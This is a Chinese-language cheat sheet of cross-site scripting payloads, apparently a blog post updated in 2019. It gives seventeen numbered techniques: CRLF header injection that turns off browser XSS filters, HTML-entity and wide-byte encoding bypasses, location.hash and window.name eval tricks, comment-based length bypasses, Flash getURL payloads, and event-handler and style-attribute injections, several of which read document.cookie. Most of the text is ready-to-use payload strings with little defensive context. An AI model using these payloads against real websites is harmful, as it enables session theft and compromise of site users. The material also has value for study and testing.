![57f204be86e0dbbfeb6ff8a7de79d53a.png](https://img-blog.csdnimg.cn/img_convert/57f204be86e0dbbfeb6ff8a7de79d53a.png)
0x00 2019-07-11更新
1:获取cookie
alert(document.cookie)
2:CRLF("回车+换行"的简称)注入漏洞
产生原因服务端没有过滤rn,而又把用户输入的数据放入放在HTTP头中。
Payload插入两次rn的十六进制%0d%0a
栗子
?number=133%0d%0a%0d%0a<script>alert(/xss/)</script>
HTTP/1.1 200 OK
Set-Cookie:number=133
<script>alert(/xss/)</script>
注意:浏览器的Filter是浏览器对一些反射型XSS做的保护策略,当检测到url中包含XSS相关特征就会过滤掉不显示。
绕过方法: 在数据包中的http头中注入X-XSS Protection:0,关闭IE8的XSS Filter功能。
栗子
?url=%0aX-XSS-Protection:%200%0d%0a%0d%0a<img%20src=1%20onerror=alert(/xss/)>
3:识别用户浏览器
alert(navigator.userAgent)
4:HTML字符实体转换(简单的绕过方法)
使用方法:script等。。。。。类型敏感词被设为检测对象
转换为16进制
script
推荐在线工具:
HTML字符实体转换,网页字符实体编码www.qqxiuzi.cn栗子
<body>
<a href=# onclick="alert('$var');">test</a>
</body>
注入
$var= htmlencode("');alert('2");
变为
<body>
<a href=# onclick="alert('');alert('2');">test</a>
</body>
解码为
<body>
<a href=# onclick="alert('');alert('2');">test</a>
</body>
5:三种弹窗
alert()==prompt()==confirm()
6:藏代码(location.hash)
构造$var输入Payload:
" οnclick="eval(location.hash.substr(1))
输出后的HTML
<input type=test value="" οnclick="eval(location.hash.substr(1))" />
因为location.hash的第一个字符是#,所以必须去除第一个字符才行。此时构造出的XSS URL:
www.栗子.com#alert(1)
当用户点击文本框的时候就会触发。
7:利用注释符绕过长度限制
栗子
<input id=1 type="text" value=""/>
xxxxxxxxxxxxx
<input id=2 type="text" value=""/>
在第一个input框中输入:
"><!--
第二个输入
--><script>alert(/xss/);</script>
构造完成后为
<input id=1 type="text" value=""><!--"/>
xxxxxxxxxxxxx
<input id=2 type="text" value="--><script>alert(/xss/);</script>"/>
中间代码被注释
<!-- .....-->
0x01 2019-07-18更新
8:宽字节注入(字符编码)
GBK/GB2312编码
用‘’进行转义时,绕过使用%c或%c1,组成‘%c’
栗子
123%c"<script>alert(1)</script>
9:Flash XSS
getURL("javascript:alert(document.cookie)")
Flash动态脚本重要参数“allowScriptAccess”,这个参数定义了Flash能否与HTML页面进行通信。
三个状态
always,对于HTML的通信不做任何限制;(危险)
sameDomain,只允许来自于本域的Flash与Html通信,这是默认值;(确保Flash文件不是用户传上来的)
never,绝对禁止Flash与页面通信。
allowNetworking
all,允许使用所有的网络通信,也是默认值;101111010110
internal,Flash不能与浏览器通信,但是可以调用其他的API;
none,禁止任何的网络通信。
栗子
ActionScript代码:
on(release){
getURL(_root.clickTAG,"_blank");
}
http://url/to/flash-file.swf?clickTAG=javascript:alert('xss')
10:框架注入
<iframe src="http://www.****.com" width="250" height="250">
0x02 2019-07-26更新
11:常规注入
<script>alert(/xss/)</script>
12:跳转链接注入
1:<a href="javascript:alert(1)">
2:"><a href="javascript:οnclick=alert()">xss</a>
13:鼠标划过触发漏洞
οnmοuseοver=alert(1)
οnmοuseοver=prompt(1)
<img src=a οnmοuseοver=alert('xss')>
<img src=a οnmοuseοver=alert(document.cookie)>
14:鼠标点击触发漏洞
<img src=a οnclick=alert('xss')>
<img src=a οnerrοr=alert(1)>
15:window.name的妙用
<script>
window.name="alert(document.cookie)";
location.href="http://www.xssedsite.com/xssed.php"
</script>
在同一个窗口打开XSS的站点后,只需通过XSS执行以下代码:
eval(name);
16:GET添加参数注入
t_sort="οnclick="alert()"type="text
<input name="t_sort" value="" οnclick="alert()" type="text//" type="hidden">
17:标签style属性注入:
<div style="background:url('javascript:alert(1)')">